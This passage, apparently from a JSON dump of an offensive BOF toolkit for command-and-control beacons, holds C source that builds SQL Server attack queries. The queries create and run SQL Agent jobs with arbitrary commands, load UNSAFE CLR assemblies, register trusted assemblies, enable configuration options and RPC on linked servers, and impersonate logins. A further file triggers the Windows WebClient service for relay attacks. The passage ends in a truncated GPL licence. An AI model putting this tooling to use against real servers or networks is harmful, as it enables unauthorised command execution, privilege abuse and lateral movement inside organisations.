MSVCRT$strlen(part3) + MSVCRT$strlen(stepName) + MSVCRT$strlen(part4) + MSVCRT$strlen(command) + MSVCRT$strlen(part5) + MSVCRT$strlen(jobName) + MSVCRT$strlen(part6) + 1;\n    char* query = (char*)intAlloc(totalSize);\n\n    MSVCRT$strcpy(query, part1);\n    MSVCRT$strncat(query, jobName,  totalSize - MSVCRT$strlen(query) - 1);\n    MSVCRT$strncat(query, part2,    totalSize - MSVCRT$strlen(query) - 1);\n    MSVCRT$strncat(query, jobName,  totalSize - MSVCRT$strlen(query) - 1);\n    MSVCRT$strncat(query, part3,    totalSize - MSVCRT$strlen(query) - 1);\n    MSVCRT$strncat(query, stepName, totalSize - MSVCRT$strlen(query) - 1);\n    MSVCRT$strncat(query, part4,    totalSize - MSVCRT$strlen(query) - 1);\n    MSVCRT$strncat(query, command,  totalSize - MSVCRT$strlen(query) - 1);\n    MSVCRT$strncat(query, part5,    totalSize - MSVCRT$strlen(query) - 1);\n    MSVCRT$strncat(query, jobName,  totalSize - MSVCRT$strlen(query) - 1);\n    MSVCRT$strncat(query, part6,    totalSize - MSVCRT$strlen(query) - 1);\n\n    BOOL result = HandleQuery(stmt, (SQLCHAR*)query, link, impersonate, TRUE);\n    intFree(query);\n    return result;\n}\n\nBOOL ExecuteAgentJob(SQLHSTMT stmt, char* link, char* impersonate, char* jobName)\n{\n    char* prefix = \"use msdb; EXEC dbo.sp_start_job @job_name = '\";\n    char* suffix = \"'; WAITFOR DELAY '00:00:05';\";\n\n    size_t totalSize = MSVCRT$strlen(prefix) + MSVCRT$strlen(jobName) + MSVCRT$strlen(suffix) + 1;\n    char* query = (char*)intAlloc(totalSize);\n\n    MSVCRT$strcpy(query, prefix);\n    MSVCRT$strncat(query, jobName,  totalSize - MSVCRT$strlen(query) - 1);\n    MSVCRT$strncat(query, suffix,   totalSize - MSVCRT$strlen(query) - 1);\n\n    BOOL result = HandleQuery(stmt, (SQLCHAR*)query, link, impersonate, TRUE);\n    intFree(query);\n    return result;\n}\n\nBOOL DeleteAgentJob(SQLHSTMT stmt, char* link, char* impersonate, char* jobName)\n{\n    //char* use = \"use msdb;\"; \n    //if (!HandleQuery(stmt, (SQLCHAR*)use, link, impersonate, TRUE))\n    //{\n    //    internal_printf(\"[-] Error while setting msdb as the current database\\n\");\n    //    return FALSE;\n    //}\n\n    char* prefix = \"use msdb; EXEC dbo.sp_delete_job @job_name = '\";\n    char* suffix = \"';\";\n\n    size_t totalSize = MSVCRT$strlen(prefix) + MSVCRT$strlen(jobName) + MSVCRT$strlen(suffix) + 1;\n    char* query = (char*)intAlloc(totalSize);\n\n    MSVCRT$strcpy(query, prefix);\n    MSVCRT$strncat(query, jobName,  totalSize - MSVCRT$strlen(query) - 1);\n    MSVCRT$strncat(query, suffix,   totalSize - MSVCRT$strlen(query) - 1);\n\n    BOOL result = HandleQuery(stmt, (SQLCHAR*)query, link, impersonate, TRUE);\n    intFree(query);\n    return result;\n}\n\n"
  },
  {
    "path": "AD-BOF/SQL-BOF/src/common/sql_clr.c",
    "content": "//\n// imported by bof entry files utilizing CLR functionality\n// include statmenet should be after the sql.c include\n//\n#include <windows.h>\n#include <sql.h>\n#include \"bofdefs.h\"\n\nBOOL AssemblyHashExists(SQLHSTMT stmt, char* hash, char* link, char* impersonate)\n{\n    BOOL exists = FALSE;\n    \n    char* prefix = \"SELECT * FROM sys.trusted_assemblies WHERE hash = 0x\";\n    char* suffix = \";\";\n\n    size_t totalSize = MSVCRT$strlen(prefix) + MSVCRT$strlen(hash) + MSVCRT$strlen(suffix) + 1;\n    char* query = (char*)intAlloc(totalSize * sizeof(char));\n\n    MSVCRT$strcpy(query, prefix);\n    MSVCRT$strncat(query, hash, totalSize - MSVCRT$strlen(query) - 1);\n    MSVCRT$strncat(query, suffix, totalSize - MSVCRT$strlen(query) - 1);\n\n    if (!HandleQuery(stmt, (SQLCHAR*)query, link, impersonate, FALSE))\n    {\n        internal_printf(\"[-] Error determining if assmebly hash exists\\n\");\n        intFree(query);\n        return TRUE;\n    }\n    \n    char* resultHash = GetSingleResult(stmt, FALSE);\n    \n    //\n    // if we have any result, the hash exists\n    //\n    if (resultHash != NULL)\n    {\n        exists = TRUE;\n    }\n    else\n    {\n        internal_printf(\"[*] Assembly hash does not exist (error fetching result normal)\\n\");\n    }\n    \n    intFree(query);\n    intFree(resultHash);\n    return exists;\n}\n\nBOOL AddTrustedAssembly(SQLHSTMT stmt, char* dllPath, char* hash, char* link, char* impersonate)\n{\n    char* prefix    = \"EXEC sp_add_trusted_assembly 0x\";\n    char* mid       = \",N'\";\n    char* suffix    = \", version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';\";\n\n    size_t totalSize = MSVCRT$strlen(prefix) + MSVCRT$strlen(hash) + MSVCRT$strlen(mid) + MSVCRT$strlen(dllPath) + MSVCRT$strlen(suffix) + 1;\n    char* query = (char*)intAlloc(totalSize * sizeof(char));\n\n    MSVCRT$strcpy(query, prefix);\n    MSVCRT$strncat(query, hash,     totalSize - MSVCRT$strlen(query) - 1);\n    MSVCRT$strncat(query, mid,      totalSize - MSVCRT$strlen(query) - 1);\n    MSVCRT$strncat(query, dllPath,  totalSize - MSVCRT$strlen(query) - 1);\n    MSVCRT$strncat(query, suffix,   totalSize - MSVCRT$strlen(query) - 1);\n\n    BOOL result = HandleQuery(stmt, (SQLCHAR*)query, link, impersonate, TRUE);\n    intFree(query);\n    return result;\n}\n\nBOOL DeleteTrustedAssemblyResources(SQLHSTMT stmt, char* assemblyName, char* function, BOOL isFunction, char* link, char* impersonate)\n{\n    char* drop_proc;\n    char* prefix;\n    char* query;\n    char* suffix = \";\";\n\n    //\n    // DROP FUNCTION\n    //\n    if (isFunction)\n    {\n        prefix = \"DROP FUNCTION IF EXISTS \";\n    }\n    else\n    {\n        prefix = \"DROP PROCEDURE IF EXISTS \";\n    }\n\n\n    size_t totalSize = MSVCRT$strlen(prefix) + MSVCRT$strlen(function) + MSVCRT$strlen(suffix) + 1;\n    query = (char*)intAlloc(totalSize * sizeof(char));\n\n    MSVCRT$strcpy(query, prefix);\n    MSVCRT$strncat(query, function, totalSize - MSVCRT$strlen(query) - 1);\n    MSVCRT$strncat(query, suffix,   totalSize - MSVCRT$strlen(query) - 1);\n\n\n    if (!HandleQuery(stmt, (SQLCHAR*)query, link, impersonate, TRUE))\n    {\n        internal_printf(\"[-] Error dropping function\\n\");\n        intFree(query);\n        return FALSE;\n    }\n\n    intFree(query);\n\n    //\n    // DROP ASSEMBLY\n    //\n    char* asmPrefix = \"DROP ASSEMBLY IF EXISTS \";\n    totalSize = MSVCRT$strlen(asmPrefix) + MSVCRT$strlen(assemblyName) + MSVCRT$strlen(suffix) + 1;\n    query = (char*)intAlloc(totalSize * sizeof(char));\n\n    MSVCRT$strcpy(query, asmPrefix);\n    MSVCRT$strncat(query, assemblyName, totalSize - MSVCRT$strlen(query) - 1);\n    MSVCRT$strncat(query, suffix,       totalSize - MSVCRT$strlen(query) - 1);\n\n    BOOL result = HandleQuery(stmt, (SQLCHAR*)query, link, impersonate, TRUE);\n    intFree(query);\n    return result;\n}\n\nBOOL DeleteTrustedAssembly(SQLHSTMT stmt, char* hash, char* link, char* impersonate)\n{\n    char* prefix = \"EXEC sp_drop_trusted_assembly 0x\";\n    char* suffix = \";\";\n\n    size_t totalSize = MSVCRT$strlen(prefix) + MSVCRT$strlen(hash) + MSVCRT$strlen(suffix) + 1;\n    char* query = (char*)intAlloc(totalSize * sizeof(char));\n\n    MSVCRT$strcpy(query, prefix);\n    MSVCRT$strncat(query, hash,     totalSize - MSVCRT$strlen(query) - 1);\n    MSVCRT$strncat(query, suffix,   totalSize - MSVCRT$strlen(query) - 1);\n\n    BOOL result = HandleQuery(stmt, (SQLCHAR*)query, link, impersonate, TRUE);\n    intFree(query);\n    return result;\n}\n\nBOOL AssemblyExists(SQLHSTMT stmt, char* assemblyName, char* link, char* impersonate)\n{\n    BOOL exists;\n    char* prefix = \"SELECT * FROM sys.assemblies WHERE name = '\";\n    char* suffix = \"';\";\n\n    size_t totalSize = MSVCRT$strlen(prefix) + MSVCRT$strlen(assemblyName) + MSVCRT$strlen(suffix) + 1;\n    char* query = (char*)intAlloc(totalSize * sizeof(char));\n\n    MSVCRT$strcpy(query, prefix);\n    MSVCRT$strncat(query, assemblyName, totalSize - MSVCRT$strlen(query) - 1);\n    MSVCRT$strncat(query, suffix,       totalSize - MSVCRT$strlen(query) - 1);\n\n    if (!HandleQuery(stmt, (SQLCHAR*)query, link, impersonate, FALSE))\n    {\n        internal_printf(\"[-] Error determining if assmebly exists\\n\");\n        intFree(query);\n        return TRUE;\n    }\n    \n    char* resultHash = GetSingleResult(stmt, FALSE);\n    \n    if (MSVCRT$strcmp(resultHash, assemblyName) == 0)\n    {\n        exists = TRUE;\n    }\n    else\n    {\n        exists = FALSE;\n    }\n\n    ODBC32$SQLCloseCursor(stmt);\n    intFree(query);\n    intFree(resultHash);\n    return exists;\n}\n\nBOOL CreateAssembly(SQLHSTMT stmt, char* assemblyName, char* dllBytes, char* link, char* impersonate)\n{\n    char* prefix = \"CREATE ASSEMBLY \";\n    char* mid = \" FROM 0x\";\n    char* suffix = \" WITH PERMISSION_SET = UNSAFE;\";\n\n    size_t totalSize = MSVCRT$strlen(prefix) + MSVCRT$strlen(assemblyName) + MSVCRT$strlen(mid) + MSVCRT$strlen(dllBytes) + MSVCRT$strlen(suffix) + 1;\n    char* query = (char*)intAlloc(totalSize * sizeof(char));\n\n    MSVCRT$strcpy(query, prefix);\n    MSVCRT$strncat(query, assemblyName, totalSize - MSVCRT$strlen(query) - 1);\n    MSVCRT$strncat(query, mid,          totalSize - MSVCRT$strlen(query) - 1);\n    MSVCRT$strncat(query, dllBytes,     totalSize - MSVCRT$strlen(query) - 1);\n    MSVCRT$strncat(query, suffix,       totalSize - MSVCRT$strlen(query) - 1);\n\n    BOOL result = HandleQuery(stmt, (SQLCHAR*)query, link, impersonate, TRUE);\n    intFree(query);\n    return result;\n}\n\nBOOL AssemblyStoredProcExists(SQLHSTMT stmt, char* function, char* link, char* impersonate)\n{\n    char* prefix = \"SELECT name FROM sys.procedures WHERE type = 'PC' AND name = '\";\n    char* suffix = \"';\";\n\n    size_t totalSize = MSVCRT$strlen(prefix) + MSVCRT$strlen(function) + MSVCRT$strlen(suffix) + 1;\n    char* query = (char*)intAlloc(totalSize * sizeof(char));\n\n    MSVCRT$strcpy(query, prefix);\n    MSVCRT$strncat(query, function, totalSize - MSVCRT$strlen(query) - 1);\n    MSVCRT$strncat(query, suffix,   totalSize - MSVCRT$strlen(query) - 1);\n\n    if (!HandleQuery(stmt, (SQLCHAR*)query, link, impersonate, FALSE))\n    {\n        internal_printf(\"[-] Error determining if stored procedure exists\\n\");\n        intFree(query);\n        return TRUE;\n    }\n\n    char* result = GetSingleResult(stmt, FALSE);\n    BOOL exists = (MSVCRT$strcmp(result, function) == 0) ? TRUE : FALSE;\n    \n    ODBC32$SQLCloseCursor(stmt);\n    intFree(query);\n    intFree(result);\n    \n    return exists;\n}\n\nBOOL AssemblyFunctionExists(SQLHSTMT stmt, char* function, char* link, char* impersonate)\n{\n    char* prefix = \"SELECT assembly_class FROM sys.assembly_modules WHERE assembly_class = '\";\n    char* suffix = \"';\";\n\n    size_t totalSize = MSVCRT$strlen(prefix) + MSVCRT$strlen(function) + MSVCRT$strlen(suffix) + 1;\n    char* query = (char*)intAlloc(totalSize * sizeof(char));\n\n    MSVCRT$strcpy(query, prefix);\n    MSVCRT$strncat(query, function, totalSize - MSVCRT$strlen(query) - 1);\n    MSVCRT$strncat(query, suffix,   totalSize - MSVCRT$strlen(query) - 1);\n\n    if (!HandleQuery(stmt, (SQLCHAR*)query, link, impersonate, FALSE))\n    {\n        internal_printf(\"[-] Error determining if function exists\\n\");\n        intFree(query);\n        return TRUE;\n    }\n\n    char* result = GetSingleResult(stmt, FALSE);\n    BOOL exists = (MSVCRT$strcmp(result, function) == 0) ? TRUE : FALSE;\n\n    intFree(query);\n    intFree(result);\n\n    return exists;\n}\n\nBOOL CreateAssemblyStoredProc(SQLHSTMT stmt, char* assemblyName, char* function, BOOL Adsi, char* link, char* impersonate)\n{\n    char* query = NULL;\n\n    if (Adsi)\n    {\n        //\n        // for ADSI BOF\n        //\n        char* prefix    = \"CREATE FUNCTION [dbo].\";\n        char* part2     = \"(@port int) RETURNS NVARCHAR(MAX) AS EXTERNAL NAME \";\n        char* suffix    = \".[ldapAssembly.LdapSrv].listen;\";\n\n        size_t totalSize = MSVCRT$strlen(prefix) + MSVCRT$strlen(function) + MSVCRT$strlen(part2) + MSVCRT$strlen(assemblyName) + MSVCRT$strlen(suffix) + 1;\n        query = (char*)intAlloc(totalSize * sizeof(char));\n\n        MSVCRT$strcpy(query, prefix);\n        MSVCRT$strncat(query, function,     totalSize - MSVCRT$strlen(query) - 1);\n        MSVCRT$strncat(query, part2,        totalSize - MSVCRT$strlen(query) - 1);\n        MSVCRT$strncat(query, assemblyName, totalSize - MSVCRT$strlen(query) - 1);\n        MSVCRT$strncat(query, suffix,       totalSize - MSVCRT$strlen(query) - 1);\n    }\n    else\n    {\n        //\n        // for CLR BOF\n        //\n        char* prefix    = \"CREATE PROCEDURE [dbo].[\";\n        char* part2     = \"] AS EXTERNAL NAME [\";\n        char* part3     = \"].[StoredProcedures].[\";\n        char* suffix    = \"];\";\n\n        size_t totalSize = MSVCRT$strlen(prefix) + MSVCRT$strlen(function) + MSVCRT$strlen(part2) + MSVCRT$strlen(assemblyName) + MSVCRT$strlen(part3) + MSVCRT$strlen(function) + MSVCRT$strlen(suffix) + 1;\n        query = (char*)intAlloc(totalSize * sizeof(char));\n\n        MSVCRT$strcpy(query, prefix);\n        MSVCRT$strncat(query, function,     totalSize - MSVCRT$strlen(query) - 1);\n        MSVCRT$strncat(query, part2,        totalSize - MSVCRT$strlen(query) - 1);\n        MSVCRT$strncat(query, assemblyName, totalSize - MSVCRT$strlen(query) - 1);\n        MSVCRT$strncat(query, part3,        totalSize - MSVCRT$strlen(query) - 1);\n        MSVCRT$strncat(query, function,     totalSize - MSVCRT$strlen(query) - 1);\n        MSVCRT$strncat(query, suffix,       totalSize - MSVCRT$strlen(query) - 1);\n    }\n\n    //\n    // special case for impersonation here\n    // CREATE PROCEDURE statements are not allowed in a batch with other statements\n    //\n    BOOL result;\n    if (impersonate != NULL)\n    {\n        char* iPrefix = \"EXECUTE AS LOGIN = '\";\n        char* iSuffix = \"';\";\n\n        size_t totalSize = MSVCRT$strlen(iPrefix) + MSVCRT$strlen(impersonate) + MSVCRT$strlen(iSuffix) + 1;\n        char* impersonateQuery = (char*)intAlloc(totalSize * sizeof(char));\n\n        MSVCRT$strcpy(impersonateQuery, iPrefix);\n        MSVCRT$strncat(impersonateQuery, impersonate, totalSize - MSVCRT$strlen(impersonateQuery) - 1);\n        MSVCRT$strncat(impersonateQuery, iSuffix, totalSize - MSVCRT$strlen(impersonateQuery) - 1);\n\n        if (!ExecuteQuery(stmt, (SQLCHAR*)impersonateQuery))\n        {\n            internal_printf(\"[-] Error impersonating user\\n\");\n            intFree(impersonateQuery);\n            return FALSE;\n        }\n        \n        intFree(impersonateQuery);\n        result = ExecuteQuery(stmt, (SQLCHAR*)query);\n    }\n    else\n    {\n        result = HandleQuery(stmt, (SQLCHAR*)query, link, NULL, TRUE);\n    }\n    intFree(query);\n    return result;\n}\n\nBOOL ExecuteAssemblyStoredProc(SQLHSTMT stmt, char* function, char* link, char* impersonate)\n{\n    char* prefix = \"EXEC \";\n    char* suffix = \";\";\n\n    size_t totalSize = MSVCRT$strlen(prefix) + MSVCRT$strlen(function) + MSVCRT$strlen(suffix) + 1;\n    char* query = (char*)intAlloc(totalSize * sizeof(char));\n\n    MSVCRT$strcpy(query, prefix);\n    MSVCRT$strncat(query, function, totalSize - MSVCRT$strlen(query) - 1);\n    MSVCRT$strncat(query, suffix,   totalSize - MSVCRT$strlen(query) - 1);\n\n    BOOL result = HandleQuery(stmt, (SQLCHAR*)query, link, impersonate, TRUE);\n    intFree(query);\n    return result;\n}"
  },
  {
    "path": "AD-BOF/SQL-BOF/src/common/sql_modules.c",
    "content": "//\n// imported by bof entry files to check or toggle status of modules\n// include statmenet should be after the sql.c include\n//\n#include <windows.h>\n#include <sql.h>\n#include \"bofdefs.h\"\n\n//\n// Configure sp_serveroption or sp_configure\n//\nBOOL ToggleModule(SQLHSTMT stmt, char* name, char* value, char* link, char* impersonate) {\n    char* query = NULL;\n    size_t totalSize;\n    SQLRETURN ret;\n\n    if (MSVCRT$strcmp(name, \"rpc\") == 0)\n    {\n        char* prefix = \"EXEC sp_serveroption '\";\n        char* middle = \"', 'rpc out', '\";\n        char* suffix = \"';\";\n\n        totalSize = MSVCRT$strlen(prefix) + MSVCRT$strlen(link) + MSVCRT$strlen(middle) + MSVCRT$strlen(value) + MSVCRT$strlen(suffix) + 1;\n        query = (char*)intAlloc(totalSize * sizeof(char));\n\n        MSVCRT$strcpy(query, prefix);\n        MSVCRT$strncat(query, link,     totalSize - MSVCRT$strlen(query) - 1);\n        MSVCRT$strncat(query, middle,   totalSize - MSVCRT$strlen(query) - 1);\n        MSVCRT$strncat(query, value,    totalSize - MSVCRT$strlen(query) - 1);\n        MSVCRT$strncat(query, suffix,   totalSize - MSVCRT$strlen(query) - 1);\n\n        //\n        // link will always be passed as NULL here\n        //\n        BOOL result = HandleQuery(stmt, (SQLCHAR*)query, NULL, impersonate, FALSE);\n\n        intFree(query);\n\n        return result;\n    }\n    else\n    {\n        char* reconfigure = \"RECONFIGURE;\";\n        char* advOpts = \"EXEC sp_configure 'show advanced options', 1;\";\n        \n        //\n        // setting TRUE for using rpc query\n        //\n        if (!HandleQuery(stmt, (SQLCHAR*)advOpts, link, impersonate, TRUE))\n        {\n            return FALSE;\n        }\n\n\n        //\n        // Clear the cursor\n        //\n        ClearCursor(stmt);\n\n        //\n        // Reconfigure\n        //\n        if (!HandleQuery(stmt, (SQLCHAR*)reconfigure, link, impersonate, TRUE))\n        {\n            return FALSE;\n        }\n\n        //\n        // Clear the cursor\n        //\n        ClearCursor(stmt);\n\n        //\n        // toggle on or off\n        //\n        char* prefix = \"EXEC sp_configure '\";\n        char* middle = \"', \";\n        char* suffix = \";\";\n        \n        totalSize = MSVCRT$strlen(prefix) + MSVCRT$strlen(name) + MSVCRT$strlen(middle) + MSVCRT$strlen(value) + MSVCRT$strlen(suffix) + 1;\n        query = (char*)intAlloc(totalSize * sizeof(char));\n\n        MSVCRT$strcpy(query, prefix);\n        MSVCRT$strncat(query, name,     totalSize - MSVCRT$strlen(query) - 1);\n        MSVCRT$strncat(query, middle,   totalSize - MSVCRT$strlen(query) - 1);\n        MSVCRT$strncat(query, value,    totalSize - MSVCRT$strlen(query) - 1);\n        MSVCRT$strncat(query, suffix,   totalSize - MSVCRT$strlen(query) - 1);\n\n        if (!HandleQuery(stmt, (SQLCHAR*)query, link, impersonate, TRUE))\n        {\n            intFree(query);\n            return FALSE;\n        }\n\n        //\n        // Clear the cursor\n        //\n        ClearCursor(stmt);\n\n        //\n        // Reconfigure\n        //\n        BOOL result = HandleQuery(stmt, (SQLCHAR*)reconfigure, link, impersonate, TRUE);\n\n        intFree(query);\n\n        return result;\n    }\n}\n\n//\n// Query the status of RPC on a linked server\n//\nBOOL CheckRpcOnLink(SQLHSTMT stmt, char* link, char* impersonate)\n{\n    char* prefix = \"SELECT is_rpc_out_enabled FROM sys.servers WHERE lower(name) like '%\";\n    char* suffix = \"%';\";\n\n    size_t totalSize = MSVCRT$strlen(prefix) + MSVCRT$strlen(link) + MSVCRT$strlen(suffix) + 1;\n    char* query = (char*)intAlloc(totalSize * sizeof(char));\n\n    MSVCRT$strcpy(query, prefix);\n    MSVCRT$strncat(query, link,     totalSize - MSVCRT$strlen(query) - 1);\n    MSVCRT$strncat(query, suffix,    totalSize - MSVCRT$strlen(query) - 1);\n\n    BOOL result = HandleQuery(stmt, (SQLCHAR*)query, NULL, impersonate, FALSE);\n\n    intFree(query);\n\n    return result;\n}\n\n//\n// Used to verify rpc status before executing a rpc linked query\n//\nBOOL IsRpcEnabled(SQLHSTMT stmt, char* link)\n{\n    BOOL enabled;\n\n    char* prefix = \"SELECT is_rpc_out_enabled \"\n                   \"FROM sys.servers WHERE name = '\";\n    char* suffix = \"';\";\n\n    size_t totalSize = MSVCRT$strlen(prefix) + MSVCRT$strlen(link) + MSVCRT$strlen(suffix) + 1;\n    char* query = (char*)intAlloc(totalSize * sizeof(char));\n    \n    MSVCRT$strcpy(query, prefix);\n    MSVCRT$strncat(query, link, totalSize - MSVCRT$strlen(query) - 1);\n    MSVCRT$strncat(query, suffix, totalSize - MSVCRT$strlen(query) - 1);\n\n    if (!HandleQuery(stmt, (SQLCHAR*)query, NULL, NULL, FALSE))\n    {\n        intFree(query);\n        return FALSE;\n    }\n\n    char* result = GetSingleResult(stmt, FALSE);\n    \n    if (result[0] == '1')\n    {\n        enabled = TRUE;\n    }\n    else\n    {\n        enabled = FALSE;\n    }\n\n    intFree(query);\n    intFree(result);\n\n    return enabled;\n}\n\n//\n// Execute query and hold results for printing\n//\nBOOL CheckModuleStatus(SQLHSTMT stmt, char* name, char* link, char* impersonate)\n{\n    char* prefix = \"SELECT CAST(name AS NVARCHAR(128)) AS name, \"\n                   \"CAST(value_in_use AS INT) AS value_in_use\\n\"\n                   \"FROM sys.configurations\\n\"\n                   \"WHERE name = '\";\n    char* suffix = \"';\";\n\n    size_t totalSize = MSVCRT$strlen(prefix) + MSVCRT$strlen(name) + MSVCRT$strlen(suffix) + 1;\n    char* query = (char*)intAlloc(totalSize * sizeof(char));\n    \n    MSVCRT$strcpy(query, prefix);\n    MSVCRT$strncat(query, name, totalSize - MSVCRT$strlen(query) - 1);\n    MSVCRT$strncat(query, suffix, totalSize - MSVCRT$strlen(query) - 1);\n\n    BOOL result = HandleQuery(stmt, (SQLCHAR*)query, link, impersonate, FALSE);\n\n    intFree(query);\n\n    return result;\n}\n\n//\n// Used to verify module status before executing\n//\nBOOL IsModuleEnabled(SQLHSTMT stmt, char* name, char* link, char* impersonate)\n{\n    BOOL enabled;\n\n    char* prefix = \"SELECT CAST(value_in_use AS INT) AS value_in_use \"\n                  \"FROM sys.configurations \"\n                  \"WHERE name = '\";\n    char* suffix = \"';\";\n\n    size_t totalSize = MSVCRT$strlen(prefix) + MSVCRT$strlen(name) + MSVCRT$strlen(suffix) + 1;\n    char* query = (char*)intAlloc(totalSize * sizeof(char));\n    \n    MSVCRT$strcpy(query, prefix);\n    MSVCRT$strncat(query, name, totalSize - MSVCRT$strlen(query) - 1);\n    MSVCRT$strncat(query, suffix, totalSize - MSVCRT$strlen(query) - 1);\n\n    if (!HandleQuery(stmt, (SQLCHAR*)query, link, impersonate, FALSE))\n    {\n        return FALSE;\n    }\n\n    char* result = GetSingleResult(stmt, FALSE);\n    \n    if (result[0] == '1')\n    {\n        enabled = TRUE;\n    }\n    else\n    {\n        enabled = FALSE;\n    }\n\n    intFree(query);\n    intFree(result);\n\n    return enabled;\n}"
  },
  {
    "path": "AD-BOF/WebDAVClient/EnableWebDAVClient.c",
    "content": "#include <windows.h>\n#include <evntprov.h>\n#include \"beacon.h\"\n\n// EnableWebDAVClient Code based on https://pentestlab.blog/tag/webdav/page/2/\n\n//ADVAPI32\nDECLSPEC_IMPORT ULONG EVNTAPI ADVAPI32$EventRegister(LPCGUID ProviderId, PENABLECALLBACK EnableCallback, PVOID CallbackContext, PREGHANDLE RegHandle);\nDECLSPEC_IMPORT ULONG EVNTAPI ADVAPI32$EventWrite(REGHANDLE RegHandle, PCEVENT_DESCRIPTOR EventDescriptor, ULONG UserDataCount, PEVENT_DATA_DESCRIPTOR UserData);\nDECLSPEC_IMPORT ULONG EVNTAPI ADVAPI32$EventUnregister(REGHANDLE RegHandle);\n\nVOID go(char* args, int length)\n{\n    REGHANDLE RegistrationHandle;\n    const GUID _MS_Windows_WebClntLookupServiceTrigger_Provider = { 0x22B6D684, 0xFA63, 0x4578, { 0x87, 0xC9, 0xEF, 0xFC, 0xBE, 0x66, 0x43, 0xC7 } };\n    ULONG status = ADVAPI32$EventRegister(&_MS_Windows_WebClntLookupServiceTrigger_Provider,NULL, NULL, &RegistrationHandle);\n    if (status == ERROR_SUCCESS) {\n        EVENT_DESCRIPTOR desc;\n        EventDescCreate(&desc, 1, 0, 0, 4, 0, 0, 0);\n        status = ADVAPI32$EventWrite(RegistrationHandle, &desc, 0, NULL);\n        if (status == ERROR_SUCCESS)\n            ADVAPI32$EventUnregister(RegistrationHandle);\n        else\n            BeaconPrintf(CALLBACK_ERROR, \"Failed to write event with status = 0x%x\\n\", status);\n    }else{\n        BeaconPrintf(CALLBACK_ERROR, \"Failed to register event with status = 0x%x\\n\", status);\n    }\n    BeaconPrintf(CALLBACK_OUTPUT, \"WebClient Service Enabled! \\n\");\n}"
  },
  {
    "path": "AD-BOF/WebDAVClient/LICENSE",
    "content": "                    GNU GENERAL PUBLIC LICENSE\n                       Version 3, 29 June 2007\n\n Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>\n Everyone is permitted to copy and distribute verbatim copies\n of this license document, but changing it is not allowed.\n\n                            Preamble\n\n  The GNU General Public License is a free, copyleft license for\nsoftware and other kinds of works.\n\n  The licenses for most software and other practical works are designed\nto take away your freedom to share and change the works.  By contrast,\nthe GNU General Public License is intended to guarantee your freedom to\nshare and change all versions of a program--to make sure it remains free\nsoftware for all its users.  We, the Free Software Foundation, use the\nGNU General Public License for most of our software; it applies also to\nany other work released this way by its authors.  You can apply it to\nyour programs, too.\n\n  When we speak of free software, we are referring to freedom, not\nprice.  Our General Public Licenses are designed to make sure that you\nhave the freedom to distribute copies of free software (and charge for\nthem if you wish), that you receive source code or can get it if you\nwant it, that you can change the software or use pieces of it in new\nfree programs, and that you know you can do these things.\n\n  To protect your rights, we need to prevent others from denying you\nthese rights or asking you to surrender the rights.  Therefore, you have\ncertain responsibilities if you distribute copies of the software, or if\nyou modify it: responsibilities to respect the freedom of others.\n\n  For example, if you distribute copies of such a program, whether\ngratis or for a fee, you must pass on to the recipients the same\nfreedoms that you received.  You must make sure that they, too, receive\nor can get the source code.  And you must show them these terms so they\nknow their rights.\n\n  Developers that use the GNU GPL protect your rights with two steps:\n(1) assert copyright on the software, and (2) offer you this License\ngiving you legal permission to copy, distribute and/or modify it.\n\n  For the developers' and authors' protection, the GPL clearly explains\nthat there is no warranty for this free software.  For both users' and\nauthors' sake, the GPL requires that modified versions be marked as\nchanged, so that their problems will not be attributed erroneously to\nauthors of previous versions.\n\n  Some devices are designed to deny users access to install or run\nmodified versions of the software inside them, although the manufacturer\ncan do so.  This is fundamentally incompatible with the aim of\nprotecting users' freedom to change the software.  The systematic\npattern of such abuse occurs in the area of products for individuals to\nuse, which is precisely where it is most unacceptable.  Therefore, we\nhave designed this version of the GPL to prohibit the practice for those\nproducts.  If such problems arise substantially in other domains, we\nstand ready to extend this provision to those domains in future versions\nof the GPL, as needed to protect the freedom of users.\n\n  Finally, every program is threatened constantly by software patents.\nStates should not allow patents to restrict development and use of\nsoftware on general-purpose computers, but in those that do, we wish to\navoid the special danger that patents applied to a free program could\nmake it effectively proprietary.  To prevent this, the GPL assures that\npatents cannot be used to render the program non-free.\n\n  The precise terms and conditions for copying, distribution and\nmodification follow.\n\n                       TERMS AND CONDITIONS\n\n  0. Definitions.\n\n  \"This License\" refers to version 3 of the GNU General Public License.\n\n  \"Copyright\" also means copyright-like laws that apply to other kinds of\nworks, such as semiconductor masks.\n\n  \"The Program\" refers to any copyrightable work licensed under this\nLicense.  Each licensee is addressed as \"you\".  \"Licensees\" and\n\"recipients\" may be individuals or organizations.\n\n  To \"modify\" a work means to copy from or adapt all or part of the work\nin a fashion requiring copyright permission, other than the making of an\nexact copy.  The resulting work is called a \"modified version\" of the\nearlier work or a work \"based on\" the earlier work.\n\n  A \"covered work\" means either the unmodified Program or a work based\non the Program.\n\n  To \"propagate\" a work means to do anything with it that, without\npermission, would make you directly or secondarily liable for\ninfringement under applicable copyright law, except executing it on a\ncomputer or modifying a private copy.  Propagation includes copying,\ndistribution (with or without modification), making available to the\npublic, and in some countries other activities as well.\n\n  To \"convey\" a work means any kind of propagation that enables other\nparties to make or receive copies.  Mere interaction with a user through\na computer network, with no transfer of a copy, is not conveying.\n\n  An interactive user interface displays \"Appropriate Legal Notices\"\nto the extent that it includes a convenient and prominently visible\nfeature that (1) displays an appropriate copyright notice, and (2)\ntells the user that there is no warranty for the work (except to the\nextent that warranties are provided), that licensees may convey the\nwork under this License, and how to view a copy of this License.  If\nthe interface presents a list of user commands or options, such as a\nmenu, a prominent item in the list meets this criterion.\n\n  1. Source Code.\n\n  The \"source code\" for a work means the preferred form of the work\nfor making modifications to it.  \"Object code\" means any non-source\nform of a work.\n\n  A \"Standard Interface\" means an interface that either is an official\nstandard defined by a recognized standards body, or, in the case of\ninterfaces specified for a particular programming language, one that\nis widely used among developers working in that language.\n\n  The \"System Libraries\" of an executable work include anything, other\nthan the work as a whole, that (a) is included in the normal form of\npackaging a Major Component, but which is not part of that Major\nComponent, and (b) serves only to enable use of the work with that\nMajor Component, or to implement a Standard Interface for which an\nimplementation is available to the public in source code form.  A\n\"Major Component\", in this context, means a major essential component\n(kernel, window system, and so on) of the specific operating system\n(if any) on which the executable work runs, or a compiler used to\nproduce the work, or an object code interpreter used to run it.\n\n  The \"Corresponding Source\" for a work in object code form means all\nthe source code needed to generate, install, and (for an executable\nwork) run the object code and to modify the work, including scripts to\ncontrol those activities.  However, it does not include the work's\nSystem Libraries, or general-purpose tools or generally available free\nprograms which are used unmodified in performing those activities but\nwhich 